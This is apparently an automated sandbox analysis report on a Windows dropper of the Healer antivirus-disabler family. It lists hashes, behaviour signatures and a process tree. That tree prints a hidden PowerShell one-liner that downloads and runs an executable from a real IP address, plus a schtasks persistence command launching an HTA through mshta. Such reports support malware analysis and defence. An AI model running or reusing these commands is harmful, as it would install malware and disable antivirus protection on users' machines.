Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/02/2025, 23:27

General

  • Target

    quarantine/random.exe

  • Size

    938KB

  • MD5

    c558d98f9db4189dd16f53be21cda0a5

  • SHA1

    877d90ade73ff75ede6e7aa8ac5dd18d754fa693

  • SHA256

    abee781314dab00f92f104f009701a129ceb06e0f4071b85323db474c2b3952d

  • SHA512

    7127d65ad9ca2149f8bf0e9de8fcbb90e567509f5c7787f3b6f05c69c4bd9db2fea64c4d2b27eadb53c8bae7d8efb9a20b014c9b2b7870f80f53f589b5289a83

  • SSDEEP

    24576:zqDEvCTbMWu7rQYlBQcBiT6rprG8aebl:zTvC/MTQYxsWR7aeb

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

  • Healer family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\quarantine\random.exe
    "C:\Users\Admin\AppData\Local\Temp\quarantine\random.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2420
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn sCXK4maXN6R /tr "mshta C:\Users\Admin\AppData\Local\Temp\5WMgEtyym.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1032
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn sCXK4maXN6R /tr "mshta C:\Users\Admin\AppData\Local\Temp\5WMgEtyym.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3008
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\5WMgEtyym.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4768
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'XXYUCBWWCRHPACBVM1MHEMPNXAOWHCIX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Users\Admin\AppData\Local\TempXXYUCBWWCRHPACBVM1MHEMPNXAOWHCIX.EXE
          "C:\Users\Admin\AppData\Local\TempXXYUCBWWCRHPACBVM1MHEMPNXAOWHCIX.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1932

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\TempXXYUCBWWCRHPACBVM1MHEMPNXAOWHCIX.EXE

    Filesize

    1.7MB

    MD5

    03a574d64f0e62c5e117a5f5acf137e4

    SHA1

    93ba2b5bdac91342c9eeaeaf3e44cc1793ee6d90

    SHA256

    dcc540b3c86a167bb0cf71e8d4598f7566fe0f625d64ffe7a37f0d5f502be747

    SHA512

    d1b76d82c522ccb157dcd5155011619b36baf3516cf08cb6bc98fb9bc009230e5c53d77f5d8adc0e85dde678b4b3542823919ee6490533df8250078caca1b9b1

  • C:\Users\Admin\AppData\Local\Temp\5WMgEtyym.hta

    Filesize

    726B

    MD5

    f8e2603fe8abf0fbff0c7219f29fb096

    SHA1

    f52c4823fe0f88c26709791ad0e1cfc4c72d5aa5

    SHA256

    6c544774b42083b87161909dd85992ee985fc44e1527ba3d8d038dc22fad1de5

    SHA512

    bdeb4c6da166443882ba02338caa6deaa05c477bb7323f3be5b7d850de71af6c828ffa2f8d0f23fc695fda68553a5b17be5b724917c5871d7bd3af80f4ce5ec5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nq4kj3qw.14m.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1932-35-0x0000000000610000-0x0000000000A62000-memory.dmp

    Filesize

    4.3MB

  • memory/1932-44-0x0000000000610000-0x0000000000A62000-memory.dmp

    Filesize

    4.3MB

  • memory/1932-41-0x0000000000610000-0x0000000000A62000-memory.dmp

    Filesize

    4.3MB

  • memory/1932-39-0x0000000000610000-0x0000000000A62000-memory.dmp

    Filesize

    4.3MB

  • memory/1932-38-0x0000000000610000-0x0000000000A62000-memory.dmp

    Filesize

    4.3MB

  • memory/1992-20-0x00000000068D0000-0x00000000068EA000-memory.dmp

    Filesize

    104KB

  • memory/1992-18-0x0000000006440000-0x000000000648C000-memory.dmp

    Filesize

    304KB

  • memory/1992-19-0x0000000007CD0000-0x000000000834A000-memory.dmp

    Filesize

    6.5MB

  • memory/1992-4-0x00000000054F0000-0x0000000005512000-memory.dmp

    Filesize

    136KB

  • memory/1992-22-0x00000000078F0000-0x0000000007986000-memory.dmp

    Filesize

    600KB

  • memory/1992-23-0x0000000007880000-0x00000000078A2000-memory.dmp

    Filesize

    136KB

  • memory/1992-24-0x0000000008900000-0x0000000008EA4000-memory.dmp

    Filesize

    5.6MB

  • memory/1992-2-0x0000000002DE0000-0x0000000002E16000-memory.dmp

    Filesize

    216KB

  • memory/1992-17-0x0000000006390000-0x00000000063AE000-memory.dmp

    Filesize

    120KB

  • memory/1992-16-0x0000000005F70000-0x00000000062C4000-memory.dmp

    Filesize

    3.3MB

  • memory/1992-5-0x0000000005CC0000-0x0000000005D26000-memory.dmp

    Filesize

    408KB

  • memory/1992-3-0x0000000005560000-0x0000000005B88000-memory.dmp

    Filesize

    6.2MB

  • memory/1992-6-0x0000000005D30000-0x0000000005D96000-memory.dmp

    Filesize

    408KB